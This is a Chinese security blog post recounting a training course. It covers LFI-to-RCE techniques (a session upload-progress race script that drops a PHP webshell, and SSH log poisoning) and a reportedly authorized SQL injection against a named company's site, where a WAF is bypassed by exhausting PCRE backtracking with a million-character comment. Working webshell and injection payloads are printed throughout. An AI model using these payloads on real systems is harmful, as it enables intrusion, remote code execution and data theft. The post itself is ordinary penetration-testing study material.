Skip to content
Kurisu
Go back

寒假班实录:第一次对真实目标做 SQL 注入,用 100 万个字符打崩 WAF 正则

整理博客时翻出今年 1 月寒假班(培训的前一期)的材料——那时候我还没开始写安全博客(第一篇 sec-basic 是 3 月的事)。其中有份自己整理的实战记录《CQZSZY SQL 注入与 WAF 绕过实战记录》,是第一次在真实授权目标上完整走通注入+绕过,现在看依然有纪念意义,整理成这篇。暑假班的系统版笔记见注入深挖绕过手册

0x01 第五天:文件包含到 RCE 的脚本包

寒假班发了一套”文件包含相关脚本”,覆盖了 LFI→RCE 的三条标准路线,比课堂讲解更工程化:

① session.upload_progress 竞态包含。PHP 默认开启的 upload_progress 会把上传进度写进 session 文件,其中文件名参数可控——双线程竞态:一个线程不停 POST 写入带恶意代码的 session,另一个线程不停 GET 包含 sess_<sid>

def t1(s):   # 写:PHP_SESSION_UPLOAD_PROGRESS 值 = <?php fputs(fopen('shell.php','w'),'<?php system($_REQUEST[11]);?>');?>
    s.post(url, data={'PHP_SESSION_UPLOAD_PROGRESS': payload}, files={'file': ('a.txt', f)}, cookies={'PHPSESSID': sessid})
def t2(s):   # 包含:?file=E:/phpstudy_pro/Extensions/tmp/tmp/sess_zyl
    s.get(url + f'?file=.../tmp/sess_{sessid}')

脚本的工程细节值得学:写入路径硬编码目标 web 根目录(Windows 下 phpStudy 的路径结构),一旦竞态命中,落地的是持久 webshell,比每次竞态执行一步舒服得多。

② SSH 日志毒化。LFI + auth.log:SSH 登录时用户名被原样写进 /var/log/auth.log,把用户名写成 <?php system($_GET['c']);?> 再包含日志文件即 RCE。前提是日志路径可猜且可读(Debian/Ubuntu /var/log/auth.log,CentOS /var/log/secure)。

③ 临时文件包含的系统差异。Windows 和 Linux 的 php5 环境临时文件包含行为不同(路径格式、大小写敏感、长度上限),脚本里专门做了双平台适配——这类”同漏洞跨平台差异”的坑只有真打才能遇到。

0x02 第六天:手工注入的知识框架

当天的笔记只有几行,但框架是对的,和后来暑假班系统学的完全对上:

  1. 手工注入 MySQL 常见函数;2. 联合查询注入与报错注入;3. BP 配合联合查询实现注入;4. BP 真实爆破账号密码进一步入侵;5. 注入真实盲注。

外加三条心法,当时写在笔记里,现在验证全对:

0x03 实战:重庆再生能源集团官网注入与正则回溯绕过

这是那份实战记录的主体。目标:授权测试站点 order_sell.php,POST 参数 bs

定位与确认

bs=1'          → SQL 语法错误回显(near '1768753587')')→ 确认注入点存在
bs=1' and ...  → WAF 拦截

摸清 WAF 的规则

当时测试的绕过手法和结果(这是整篇记录最值钱的部分——先画敌人的边界):

尝试结果
select/**/table_name/**/from 注释切分失败
SeLeCt TaBlE_NaMe FrOm 大小写混淆失败
selselectect 重叠混淆部分绕过但不稳定
规律:只要命中 select(.*)from 模式就拦截WAF 用的是贪婪正则

正则回溯:100 万个 a 的胜利

贪婪正则 select(.*)from 的死穴是回溯.* 吞掉全部字符后找不到 from,引擎开始逐字符回溯。PHP 的 pcre.backtrack_limit 默认 100 万次——在注释里填 100 万个垃圾字符,正则引擎回溯耗尽放弃检测,WAF 直接放行

junk = "a" * 1000000
bs = f"""1' and updatexml(1,concat(0x7e,
    (select/*{junk}*/table_name from/*{junk}*/information_schema.tables limit 1),0x7e),1)
    and '1aaaaa'='1"""
# 响应:XPATH syntax error: '~CHARACTER_SETS~'  → 绕过成功

报错注入的结构是标准姿势:updatexml(1, concat(0x7e, 子查询), 1) 让非法 XPath 报错回显数据。GET 传不了 100 万字符,所以走 POST(当时的笔记原话:“我不信他没有 post 注入”——dirsearch 扫后台、AWVS 爬虫、robots.txt、Google Hacking 全部试了一遍之后死磕 POST 的判断是对的)。

复盘

这次实战给我的三个 lasting 认知,后来在绕过手册里都成了核心条目:

  1. 绕过从”画边界”开始——先系统测试 WAF 拦什么放什么,比盲目堆 payload 快十倍;
  2. 打引擎的短板,不打规则本身——大小写/注释是规则层对抗,回溯是引擎层对抗,后者对几乎所有 PHP WAF 通用;
  3. sqlmap -r 挂文件跑,手工绕过的成果可以无缝交给自动化——手工探路 + sqlmap 收尾是效率最高的组合。

相关旧文


Share this post:

Previous Post
XSS、文件上传、CSRF 与越权:一节课串完的 Web 漏洞攻防链
Next Post
文件包含的高阶玩法:从日志包含到 php://filter chain RCE 与一次高校内网实战